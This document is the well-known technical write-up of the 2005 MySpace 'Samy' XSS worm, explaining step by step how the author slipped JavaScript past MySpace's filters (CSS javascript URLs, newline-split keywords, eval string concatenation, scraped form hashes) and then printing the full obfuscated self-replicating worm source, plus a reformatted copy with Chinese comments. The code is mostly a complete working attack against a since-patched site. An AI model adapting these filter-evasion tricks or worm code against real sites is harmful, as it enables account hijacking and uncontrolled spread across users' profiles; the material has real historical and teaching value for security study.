Technical explanation of The MySpace Worm
Also called the "Samy worm" or "JS.Spacehero worm"
Click here to read the entertaining story of the development, release, and ensued
hilarity of The MySpace Worm
Full source code of worm at bottom.
Please note that this code and explanation was only released AFTER MySpace resolved this.
None of this would work on MySpace at the time it was released and it
will not work now. Otherwise, there would have been mayhem.
Now, let's talk more about the problems encountered, workarounds, and how it worked in general.
1) Myspace blocks a lot of tags. In fact, they only seem to
allow <a>, <img>s, and <div>s...maybe a few others
(<embed>'s, I think). They wouldn't allow <script>s,
<body>s, onClicks, onAnythings, href's with javascript,
etc...However, some browsers (IE, some versions of Safari, others)
allow javascript within CSS tags. We needed javascript to get any of
this to even work.
Example: <div style="background:url('javascript:alert(1)')">
2) We couldn't use quotes within the div because we had already used up single quotes and double quotes already. This
made coding JS very difficult. In order to get around it, we used an expression to store the JS and then executed it by
name.
Example: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
3) Sweet! Now we can do javascript with single quotes. However, myspace strips out the word "javascript" from
ANYWHERE. To get around this, some browsers will actually interpret "java\nscript" as "javascript" (that's
java<NEWLINE>script).
Example: <div id="mycode" expr="alert('hah!')" style="background:url('java
script:eval(document.all.mycode.expr)')">
4) Okay, while we do have single quotes working, we sometimes NEED double quotes. We'll just escape quotes, e.g.,
"foo\"bar".
Myspace got me...they STRIP OUT all escaped quotes, whether single or double. However, we can just convert decimal to ASCII
in javascript to actually produce the quotes.
Example: <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
script:eval(document.all.mycode.expr)')">
5) In order to post the code to the user's profile who is viewing it, we need to actually get the source of the page.
Ah, we
can use document.body.innerHTML in order to get the page source which includes, in only one spot, the ID of the user viewing
the page. Myspace gets me again and strips out the word "innerHTML" anywhere. To avoid this, we use an eval() to evaluate
two strings and put them together to form "innerHTML".
Example: alert(eval('document.body.inne' + 'rHTML'));
6) Time to actually access other pages. We would use iframes, but usually (even when hidden), iframes aren't as
useful and are more obvious to the user that "something else" is going on. So, we use AJAX (XML-HTTP) in order for the actual
client to make HTTP GETs and POSTs to pages. However, myspace strips out the word "onreadystatechange" which is necessary
for XML-HTTP requests. Again, we can use an eval to evade this. Another plus to XML-HTTP is that the necessary cookies
required to perform actions on myspace are passed along without any hassle.
Example: eval('xmlhttp.onread' + 'ystatechange = callback');
7) Time to perform a GET on the user's profile so that we can get their current list of heroes. We don't want to
remove any
heroes, we just want to append myself to their pre-existing list of heroes. If we GET their profile, we can grab their
heroes
and store it for later. With all the above figured out, this is simple with an XML-HTTP request except that we have to get
the friend ID of the actual user viewing a profile. Like we said above, we can do this by grabbing the source of the page
we're on. However, now we need to perform a search in the page for a specific word to find it. So we perform this search,
however if we do this, we may end up finding our actual code since it contains the same exact word we're looking
for...because saying "if this page contains 'foo', do this", that will always return true because it can always find foo
within the actual code that does the searching. Another eval() with a combination of strings avoids this problem.
Example: var index = html.indexOf('frien' + 'dID');
8) At this point, we have the list of heroes. First, let's add me as a friend by performing an XML-HTTP POST on the
addFriends page. Oh no, this doesn't work! Why not? We're on profile.myspace.com, however the POSTing needs to be done on
www.myspace.com. No big deal, however XML-HTTP won't allow GETs/POSTs to sites with a different domain name. To get around
this, let's actually go to the same URL but on www.myspace.com. You can still view profiles from www.myspace.com, so
reloading the page on the domain we want to be on allows us to do the POST.
Example: if (location.hostname == 'profile.myspace.com')
document.location = 'http://www.myspace.com' + location.pathname +
location.search;
9) Finally we can do a POST! However, when we send the post it never actually adds a friend. Why not? Myspace generates a
random hash on a pre-POST page (for example, the "Are you sure you want to add this user as a friend" page). If this hash
is not passed along with the POST, the POST is not successful. To get around this, we mimic a browser and send a GET to
the page right before adding the user, parse the source for the hash, then perform the POST while passing the hash.
10) Once the POST is complete, we also want to add a hero and the actual code. The code will end up going into the same
place where the hero goes so we'll only need one POST for this. However, we need to pre-GET a page in order to get a new
hash. But first we have to actually reproduce the code that we want to POST. The easiest way to do this is to actually grab
the source of the profile we're on, parse out the code, and then POST. This works except now all sorts of things are
garbled! Ah, we need to URL-encode/escape the actual code in order to POST it properly. Weird, still doesn't work.
Apparently javascript's URL-encoding and escape() function doesn't escape everything necessary so we'll need to manually do
some replacing here in order to get the necessary data escaped. We add a little "but most of all, samy is my hero." to the
mix, append all the code right after, and voila. We have self-reproducing code, a worm if you will.
11) Other limits, such as a maximum length, imposed other problems and required tight code, no spaces, obfuscated names,
reusable functions, etc..
There were a few other complications and things to get around. This was not by any means a straight forward process, and
none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting
and fun!
And in the end, there was code:
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var
B=String.fromCharCode(34);var A=String.fromCharCode(39);function
g(){var C;try{var
D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return
C}else{return eval('document.body.inne'+'rHTML')}}function
getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function
getQueryParams(){var E=document.location.search;var
F=E.substring(1,E.length).split('&');var AS=new Array();for(var
O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return
AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function
getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function
nothing(){}function paramsToString(AV){var N=new String();var
O=0;for(var P in AV){if(O>0){N+='&'}var
Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return
N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return
true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var
S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function
getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+'
value='+B,B)}function getFromURL(BF,BG){var
T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var
V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var
X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var
Z=false;if(window.XMLHttpRequest){try{Z=new
XMLHttpRequest()}catch(e){Z=false}}else
if(window.ActiveXObject){try{Z=new
ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new
ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var
AA=g();var AB=AA.indexOf('m'+'ycode');var
AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var
AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF='
but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var
AG;function getHome(){if(J.readyState!=4){return}var
AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function
postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
main(){var AN=getClientFID();var
BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function
processxForm(){if(xmlhttp2.readyState!=4){return}var
AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add
to
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return
true}"></DIV>
-samy
Back to The MySpace Worm story
------------------------------------------------------- 格式化一下(顺带注释了一下) --------------------------------------------------
<script>
var B=String.fromCharCode(34); //双引号
var A=String.fromCharCode(39); // 单引号
function g(){
var C;
try{
var D=document.body.createTextRange();
C=D.htmlText //获得当前页html代码
}
catch(e){}
if(C){return C}else{return eval('document.body.inne'+'rHTML')} //还是获得当前页html代码
}
function getData(AU){
M=getFromURL(AU,'friendID');
L=getFromURL(AU,'Mytoken')
}
function getQueryParams(){
var E=document.location.search; //获取URL中参数
var F=E.substring(1,E.length).split('&');
var AS=new Array();
for(var O=0; O<F.length;O++)
{
var I=F[O].split('=');
AS[I[0]]=I[1]
}
return AS
}
var J;
var AS=getQueryParams(); //通过URL获取用户参数
var L=AS['Mytoken']; //分离用户参数
var M=AS['friendID']; //分离用户参数
if(location.hostname=='profile.myspace.com')
{
document.location='http://www.myspace.com'+location.pathname+location.search //XML-HTTP GETs/POSTs 不能提交到不同的域名
}else{
if(!M){ getData(g())} //通过源码获得用户参数
main()
}
function getClientFID()
{
return findIn(g(),'up_launchIC( '+A,A)
}
function nothing(){}
function paramsToString(AV)
{
var N=new String();
var O=0;
for(var P in AV)
{
if(O>0){N+='&'}
var Q=escape(AV[P]);
while(Q.indexOf('+')!=-1)
{
Q=Q.replace('+','%2B')
}
while(Q.indexOf('&')!=-1)
{
Q=Q.replace('&','%26')
}
N+=P+'='+Q;
O++
}
return N
}
function httpSend(BH,BI,BJ,BK)
{
if(!J){return false}
eval('J.onr'+'eadystatechange=BI');
J.open(BJ,BH,true);
if(BJ=='POST')
{
J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length',BK.length)
}
J.send(BK);
return true
}
function findIn(BF,BB,BC) //获取BF字串中BB到BC之间的字符串
{
var R=BF.indexOf(BB)+BB.length;
var S=BF.substring(R,R+1024); //获取BB之后的1024个字节
return S.substring(0,S.indexOf(BC)) //截取BC之前的字符串
}
function getHiddenParameter(BF,BG)
{
return findIn(BF,'name='+B+BG+B+' value='+B,B)
}
function getFromURL(BF,BG){
var T;
if(BG=='Mytoken'){T=B}else{T='&'}
var U=BG+'=';
var V=BF.indexOf(U)+U.length;
var W=BF.substring(V,V+1024);
var X=W.indexOf(T);
var Y=W.substring(0,X);
return Y
}
function getXMLObj()
{
var Z=false;
if(window.XMLHttpRequest)
{
try{Z=new XMLHttpRequest()}
catch(e){Z=false}
}else if(window.ActiveXObject){
try{Z=new ActiveXObject('Msxml2.XMLHTTP')}
catch(e){
try{Z=new ActiveXObject('Microsoft.XMLHTTP')}
catch(e){Z=false}
}
}
return Z
}
var AA=g();
var AB=AA.indexOf('m'+'ycode');
var AC=AA.substring(AB,AB+4096); //获取mycode字符串后面4096个字节
var AD=AC.indexOf('D'+'IV');
var AE=AC.substring(0,AD); //获取AC中DIV字符串前的所有字符
var AF;
if(AE)
{
AE=AE.replace('jav'+'a',A+'jav'+'a'); //java替换成'java
AE=AE.replace('exp'+'r)','exp'+'r)'+A); //expr)替换成expr)'
AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}
var AG;
function getHome()
{
if(J.readyState!=4)
{
return
}
var AU=J.responseText;
AG=findIn(AU,'P'+'rofileHeroes','</td>'); //获取AU字符串中ProfileHeroes字串到</td>字串的内容
AG=AG.substring(61,AG.length);
if(AG.indexOf('samy')==-1)
{
if(AF) //此时的AF还未初始化，应该为空的，这里不太明白（可能上面一段代码的位置不对）
{
AG+=AF;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';
AS['submit']='Preview';
AS['interest']=AG;
J=getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
}
}
}
function postHero()
{
if(J.readyState!=4){return}
var AU=J.responseText;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';
AS['submit']='Submit';
AS['interest']=AG;
AS['hash']=getHiddenParameter(AU,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function main()
{
var AN=getClientFID(); //从源码中获取up_launchIC('到'之间的字符串
var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L; //构造提交的地址
J=getXMLObj(); //AJAX初始化
httpSend(BH,getHome,'GET'); //add hero之前先get提交分析数据搞定hash
xmlhttp2=getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET') //提交
}
function processxForm()
{
if(xmlhttp2.readyState!=4){return}
var AU=xmlhttp2.responseText;
var AQ=getHiddenParameter(AU,'hashcode');
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['hashcode']=AQ;
AS['friendID']='11851658';
AS['submit']='Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function httpSend2(BH,BI,BJ,BK)
{
if(!xmlhttp2){return false}
eval('xmlhttp2.onr'+'eadystatechange=BI');
xmlhttp2.open(BJ,BH,true);
if(BJ=='POST')
{
xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length',BK.length)
}xmlhttp2.send(BK);
return true
}
</script>